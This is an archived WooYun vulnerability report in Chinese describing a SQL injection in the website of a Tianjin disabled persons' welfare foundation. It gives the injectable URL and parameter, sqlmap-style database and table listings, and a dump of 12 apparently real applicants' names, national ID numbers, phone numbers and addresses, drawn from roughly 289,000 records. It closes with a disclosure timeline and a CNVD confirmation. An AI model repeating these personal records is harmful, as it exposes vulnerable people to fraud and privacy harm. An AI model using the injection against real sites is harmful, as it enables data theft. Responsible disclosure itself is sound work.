乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-10: 细节已通知厂商并且等待厂商处理中 2015-09-11: 厂商已经确认,细节仅向厂商公开 2015-09-21: 细节向核心白帽子及相关领域专家公开 2015-10-01: 细节向普通白帽子公开 2015-10-11: 细节向实习白帽子公开 2015-10-26: 细节向公众公开
某市残疾人福利基金会网站SQL注入一枚(可导出20多万基金求助人姓名/电话/身份证/家庭住址/户口地址/工作地址 )
天津残疾人福利基金会存在get型 SQL注入
http://www.tjwfn.com/net_list.jsp?ieb12eki&zxlb=1'%22
注入参数zxlb
16个库
available databases [16]:[*] CJRJJH[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EXFSYS[*] MDSYS[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] WMSYS[*] XDB
求助者信息28万余条
Database: CJRJJH+--------------------------------+---------+| Table | Entries |+--------------------------------+---------+| T_BASEINFO_PERSON | 289649 || TEMPEXCEL | 9276 || CALENDAR_ALL | 7670 |
20多万基金求助人姓名/电话/身份证/家庭住址/户口地址、工作地址
[12 entries]+------+----------------------+-------------+-----------------------------+------------------------------+--------------+| NAME | CARD_NUM | PHONE_NO | NOW_ADD | HUKOUADD | WORK_ADDRESS |+------+----------------------+-------------+-----------------------------+------------------------------+--------------+| 焦锋 | 12010319811028321513 | 28256617 | | 天津市河西区越秀路街珠海里社区珠海里42-601 | 无 || 王广迎 | NULL | 13512841290 | 天津市河东区大直沽街宫前园社区宫前东园16-1-601 | NULL | 宾江商厦购物中心家电部 || 吕红贺 | 12022419450311075243 | 2923-7934 | 天津市宝坻区霍各庄镇张丰庄中区3排8号 | 天津市宝坻区霍各庄镇张丰庄中区3排8号 | NULL || 李春明 | 12010419590301351744 | 13502067618 | 天津市南开区广开街卫安北里2-2-15 | 天津市南开区广开街卫安北里2-2-15 | NULL || 高廷忠 | NULL | NULL | 天津市蓟县上仓镇八营村 | NULL | 上仓镇八营村 || 丁长柱 | 12022319550708331522 | 60735398 | 天津市静海县唐官屯镇马辛庄村人和路四排6号. | 天津市静海县唐官屯镇马辛庄村人和路四排6号 | NULL || 顾伟 | 12010319830311171962 | 28239341 | | | 无 || 郑德馨 | 12010619630507105263 | 26563875 | 天津市红桥区丁字沽街六段社区六段平房21号 | 天津市红桥区丁字沽街六段社区六段平房21号 | NULL || 赵宝林 | NULL | NULL | 天津市武清区汊沽港镇null武清区汊沽港镇小刘堡 | NULL | NULL || 马丽霞 | 12010719640322452243 | 25307033 | 天津市塘沽区新村街道河华里社区河华里6-1-202 | 天津市塘沽区新村街道河华里社区福建路河华里6-1-202 | 无 || 赵秀兰 | NULL | NULL | 天津市河北区铁东路街爱贤里居委会任贤里街新昌里58号 | NULL | NULL || 金余 | 12022519361020027X44 | 13194649858 | 天津市蓟县洇溜镇三岔口村 | 天津市蓟县洇溜镇三岔口村 | NULL |+------+----------------------+-------------+-----------------------------+------------------------------+--------------+
危害等级:高
漏洞Rank:10
确认时间:2015-09-11 10:28
CNVD确认并复现所述情况,已经转由CNCERT下发给天津分中心,由其后续协调网站管理单位处置。
暂无